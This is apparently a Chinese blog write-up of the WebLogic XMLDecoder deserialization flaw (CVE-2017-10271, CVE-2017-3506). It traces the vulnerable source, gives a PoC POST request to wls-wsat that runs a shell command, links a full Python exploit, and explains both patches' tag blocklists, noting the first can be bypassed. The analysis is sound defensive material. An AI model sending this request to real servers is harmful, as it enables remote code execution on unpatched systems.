weblogic系列漏洞整理 ———— 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)
影响版本
Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本
Oracle WebLogic Server 12.2.1.2.0版本
漏洞分析
通过POC利用后，抓取weblogic的返回响应的xml部分如下,调用栈在
从调用栈可以明确的看到源码中weblogic调用函数的过程：
processRequest>readHeaderOld>receive>receiveRequest>receiveRequest>readEntry>readUTF
我们发送的poc经过这部分处理，就到了
processRequest函数源码为：
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if(var1.getMessage() != null) {
HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if(var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}
Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if(var4 != null) {
this.readHeader(var4);
}
}WorkAreaConstants.WORK_AREA_HEADER:
public interface WorkAreaConstants{
String WORK_NS = "http://bea.com/2004/06/soap/workarea/";
String WORK_PREFIX = "work";
String XML_TAG_WORK_CONTEXT = "WorkContext";
String XML_TAG = "work:WorkContext";
QName WORK_AREA_HEADER = new QName( "http://bea.com/2004/06/soap/workarea/", "WorkContext", "work");
QName[] WORK_HEADERS = new QName[]{WORK_AREA_HEADER}
}readHeaderOld源码：
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);
}
}其中：
ByteArrayOutputStream: 捕获内存缓冲区的数据，转换成字节数组
ByteArrayInputStream: 将字节数组转化为输入流
上述过程中，var4会被赋予Poc中java标签内的代码，即：
/bin/bash
-c
id > /tmp/b4z
WorkContextXmlInputAdapter代码：
public WorkContextXmlInputAdapter(InputStream var1){
this.xmlDecoder = new XMLDecoder(var1);
}可以看到，在WorkContextXmlInputAdapter中，没有任何过滤就直接调用XMLDecoder方法，从而导致反序列化远程代码执行。
利用过程
poc如下：
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.136.130:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml;charset=UTF-8
Content-Length: 1113
/bin/bash
-c
id > /tmp/b4
python版完整利用代码: https://github.com/b4zinga/Explib/blob/master/weblogic.py
修复建议
- 安装补丁
四月份补丁(3506),在文件WorkContextXmlInputAdapter.java中，添加了validate()
public WorkContextXmlInputAdapter(InputStream is) {
ByteArrayOutputStream baos = new ByteArrayOutputStream(); try
{ int next = 0;
next = is.read(); while (next != -1)
{
baos.write(next);
next = is.read();
}
} catch (Exception e)
{ throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray())); this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{ public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException { if (qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException e)
{ throw new IllegalStateException("Parser Exception", e);
} catch (SAXException e)
{ throw new IllegalStateException("Parser Exception", e);
} catch (IOException e)
{ throw new IllegalStateException("Parser Exception", e);
}
}其实就是在解析xml的过程中，如果qName值为Object就抛出异常，明显可以绕过。
10271补丁：
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}本次限制了object，new, method, void，array等关键字段，这样就不能生成Java实例，所以不能执行命令。
- 删除WLS-WebServices组件
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war Middleware/wlserver_10.3/server/lib/wls-wsat.war